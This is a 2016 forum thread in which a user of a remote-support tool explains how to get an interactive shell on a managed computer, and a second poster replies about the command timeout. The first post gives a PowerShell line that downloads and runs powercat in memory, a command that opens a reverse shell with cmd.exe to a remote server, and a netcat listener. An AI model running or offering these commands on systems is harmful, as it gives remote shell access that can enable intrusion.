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#1 Posted : Wednesday, January 27, 2016 5:14:55 PM(UTC)

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We've all wanted to be able to spawn up an interactive shell on a device via ScreenConnect. The built-in "Commands" tab is nice, but limited and not interactive.
I'm a complete PowerShell newb, but I managed to find a way to create a temporary interactive shell through a reverse TCP connection. Just run this as a command on the computer:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -c your.server.ip.here -p 4455 -e C:\WINDOWS\System32\cmd.exe

In my case, I SSH'd into my server beforehand and ran the following netcat command to wait for the reverse connection:

nc -l 4455

Now, if anyone can find a way to have powershell spawn a new process to start this connection, we would be able to bypass the timeout for commands that's built into ScreenConnect (I think). Or maybe there's a way to disable the timeout. Any ideas?

EDIT: Changing the #timeout to equal "-1" seems to have done the trick!

Edited by user Wednesday, January 27, 2016 5:23:28 PM(UTC)  | Reason: Not specified

thanks 2 users thanked apag96 for this useful post.
rich2323 on 1/27/2016(UTC), KBrownConsulting on 3/15/2016(UTC)

#2 Posted : Tuesday, February 23, 2016 2:59:14 PM(UTC)

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The timeout is a setting and can be set to a very long time frame.
Lead Network Engineer
Falcon Development, Inc.

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